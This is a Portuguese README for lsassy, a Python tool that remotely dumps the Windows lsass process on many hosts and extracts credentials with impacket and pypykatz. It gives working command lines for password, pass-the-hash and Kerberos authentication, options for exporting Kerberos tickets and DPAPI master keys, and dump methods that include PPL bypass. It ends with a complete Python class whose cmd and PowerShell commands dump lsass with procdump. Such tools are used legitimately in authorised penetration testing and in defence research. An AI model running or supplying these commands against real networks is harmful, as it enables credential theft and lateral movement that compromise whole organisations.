
Extrair credenciais do lsass remotamente
Ferramenta Python para extrair remotamente credenciais de um conjunto de hosts. Este post no blog explica como funciona.
Esta ferramenta usa o projeto impacket para ler remotamente os bytes necessários no dump do lsass e o pypykatz para extrair credenciais.
| Capítulos | Descrição |
|---|---|
| Aviso | Antes de usar esta ferramenta, leia isto |
| Instalação | Instalação do lsassy |
| Uso básico | Uso básico do lsassy |
| Uso avançado | Uso avançado do lsassy com explicação dos parâmetros |
| Adicionar método de dump | Como adicionar um método personalizado de dump do lsass |
| Agradecimentos | Agradecimentos a estas pessoas e ferramentas |
| Discord oficial | Servidor oficial do Discord |
Embora eu tenha feito todos os esforços para tornar a ferramenta estável, vestígios podem ser deixados se ocorrerem erros.
Esta ferramenta pode deixar alguns dumps do lsass se não conseguir excluí-los (mesmo que tente arduamente) ou deixar uma tarefa agendada em execução se falhar ao excluí-la. Isso não deveria acontecer, mas pode. Agora, você sabe, use com cuidado.
lsassy funciona com python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy funciona imediatamente em múltiplos alvos (IP(s), faixa(s), CIDR(s), hostname(s), FQDN(s), arquivo(s) contendo uma lista de alvos)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
Por padrão, o lsassy tentará fazer o dump do lsass remotamente usando o método comsvcs.dll, seja via WMI ou via uma tarefa agendada remota.
lsassy pode autenticar com Kerberos. Requer um TGT válido na variável de ambiente KRB5CCNAME. Veja uso avançado para mais detalhes.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
Diferentes métodos de dump do lsass são implementados no lsassy, e algumas opções são fornecidas para dar controle ao usuário sobre como a ferramenta procederá.
lsassy é dividido em módulos
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Este módulo é o orquestrador. Ele cria a classe lsassy com os argumentos e opções fornecidos e, em seguida, chama os diferentes módulos para recuperar credenciais.
Este módulo é usado para fins de registro (logging).
Esta é uma camada construída sobre o Impacket para se comportar como um objeto de arquivo nativo do Python. Ele sobrescreve métodos como open, read, seek ou close.
Este módulo contém toda a lógica de dump. Dependendo do método utilizado, ele executará código no host remoto para despejar o lsass usando o método fornecido.
Este módulo depende do pypykatz e usa o módulo de arquivo do lsassy para analisar remotamente o dump do lsass.
Este módulo lida com a parte de saída, seja para a tela em diferentes formatos e/ou escrever resultados em um arquivo.
Esta ferramenta pode despejar lsass de diferentes maneiras.
Métodos de dump (-m ou --method)
Este método usa apenas arquivos nativos do Windows para extrair credenciais remotas. Utiliza a função minidump da comsvcs.dll para despejar o processo lsass.
Este método envia procdump.exe do SysInternals para despejar o processo lsass.
Este método envia dumpert.exe ou dumpert.dll do outflanknl para despejar o processo lsass usando syscalls.
Este método envia NativeDump.exe do ricardojoserf para despejar o processo lsass usando apenas NTAPIs.
Este método envia ppldump.exe do itm4n para despejar o processo lsass e contornar o PPL.
Este método envia Mirrordump.exe do Ccob para despejar o lsass usando um handle já aberto para o lsass através de um plugin LSA.
Este método usa a técnica WER utilizada no PowerSploit.
Para alguns métodos de dump, opções são necessárias, como o caminho do procdump ou dumpert. Essas opções podem ser definidas usando --options ou -O com uma lista separada por vírgulas no formato chave=valor.
... --options chave=valor,foo=bar
Por exemplo:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
Você pode optar por analisar um processo lsass já despejado fornecendo a opção --parse-only, juntamente com os parâmetros --dump-path e --dump-name. Observe que se você escolher este método, o dump remoto do lsass não será excluído.
Por exemplo:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
Se você não quiser que o dump seja excluído automaticamente após a execução do lsassy, use --keep-dump.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Os tickets Kerberos serão extraídos e salvos em $HOME/.config/lsassy/tickets no formato ccache. Você pode especificar o diretório de saída usando o parâmetro -K [diretório] ou --kerberos-dir [diretório]. Se este diretório não existir, a ferramenta tentará criá-lo antes de gerar os tickets.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
As chaves mestras DPAPI serão extraídas e salvas em $HOME/.config/lsassy/masterkeys.txt no formato {GUID}:SHA1. Você pode especificar o caminho do arquivo de chaves mestras usando o parâmetro -M [caminho] ou --masterkeys-file [caminho]. Se o caminho do arquivo não existir, a ferramenta tentará criá-lo antes de criar o arquivo.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
Existem três maneiras diferentes de autenticar contra alvos remotos usando lsassy. O único requisito é que o usuário tenha direitos de administração local nos alvos remotos.
A primeira e mais óbvia é usando credenciais em texto claro. Pode ser um usuário local ou de domínio.
## Usuário local
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## Usuário de domínio
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
Também é possível autenticar usando o hash NT do usuário. Você pode fornecer LM:NT ou apenas a versão NT.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## Ou
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
Você também pode autenticar usando Kerberos. Para que isso funcione, você precisará ter um ticket válido salvo em disco, e o caminho do ticket precisa ser fornecido na variável de ambiente KRB5CCNAME. Para fins de teste, isso pode ser alcançado usando a ferramenta getTGT.py do impacket.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
Este comando solicitará um TGT e o salvará no arquivo jsnow.ccache.
Para que o lsassy saiba qual ticket usar, você precisará definir explicitamente o caminho do ticket na variável de ambiente KRB5CCNAME.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
Quando estiver configurado corretamente, você poderá usar esse ticket para autenticação usando o parâmetro -k. Como você está usando este ticket, não precisa mais fornecer outras informações de autenticação.
lsassy -k server01.hackn.lab
Observe que, para isso funcionar, você precisará de uma configuração DNS válida, seja dinâmica com um servidor DNS válido, ou estática usando o arquivo hosts. Além disso, você deve sempre usar o FQDN ao gerar tickets e usar o lsassy, ou seja, usar server01.hackn.lab em vez de server01.
lsassy pode exibir credenciais em diferentes formatos usando a opção --format ou -f
Formato padrão, credenciais limpas e bonitas são exibidas com cores douradas. In credz we trust.
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Exibe o resultado em formato json. Pode ser útil quando chamado de um script
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Saída que pode ser usada com grep, útil em one-liners
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
Não exibe o resultado. Útil ao usar --outfile
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
Salva o resultado em um formato pesquisável no arquivo fornecido (--outfile ou -o)
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
Se você quiser obter apenas credenciais de usuários, filtrando as credenciais de computadores, use a opção --users
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
Se não quiser que os tickets sejam exportados, use a opção --no-tickets
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
Se não quiser que as chaves mestras sejam exportadas, use a opção --no-masterkeys
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
Você pode decidir quantas threads usar [1-256] usando o parâmetro --threads.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
Há um arquivo dummy.py.tpl no diretório dumpmethod. Este arquivo contém a estrutura básica para criar uma nova funcionalidade de método de dump.
Este método é obrigatório, pois é o método que será usado para executar código no host remoto para despejar o lsass de alguma forma. Ele deve retornar um dicionário com dois itens: cmd e pwsh.
O comando cmd é um comando compreendido pelo utilitário cmd.exe O comando pwsh é um comando compreendido pelo powershell (na maioria das vezes, o comando cmd também é válido no powershell)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Existe uma classe Dependency que pode ser usada para fazer upload facilmente de arquivos necessários para o método de dump, como procdump.exe do sysinternals. Dois métodos podem ser usados:
prepare_dependencies para verificar se todos os parâmetros foram fornecidos pelo usuário para encontrar localmente o arquivo no disco do usuário e fazer o upload e, em seguida, realmente fazer o upload do arquivoclean_dependencies para tentar remover os arquivos enviadosEste método será chamado antes de executar os comandos fornecidos por get_commands. Pode ser usado para fazer upload de arquivos ou verificar coisas.
Este método será chamado após executar os comandos fornecidos por get_commands. Pode ser usado para excluir arquivos enviados ou limpar coisas.
Aqui está um exemplo do procdump com alguns comentários
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
and uncomment 'dump_name' to provide expected dumpfile name on remote system.
"""
custom_dump_name_support = True # Default: True
# dump_name = "" # Default: Random dumpfile name
"""
If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
"""
custom_dump_path_support = True # Default: True
# dump_share = "" # Default: "C$"
# dump_path = "" # Default: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ is overloaded to create some instance variables
"""
super().__init__(session, timeout)
"""
This module requires procdump.exe to be uploaded on the remote server before being executed.
So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
and second argument is default executable name on local user's disk.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Prepare method is overloaded so that we are able to
- check if mandatory parameters are provided
- upload procdump on the remote host.
All this can be done using prepare_dependencies method from our Dependency object
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Clean method is overloaded so that we are able to delete our dependency if it was uploaded
The clean_dependencies method will do this for us.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
get_commands method is overloaded as it is mandatory.
Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
The get_remote_path method of our Dependency object is used to get the correct remote path
of procdump on our target.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Você pode verificar a classe dummy para mais comentários e/ou informações.
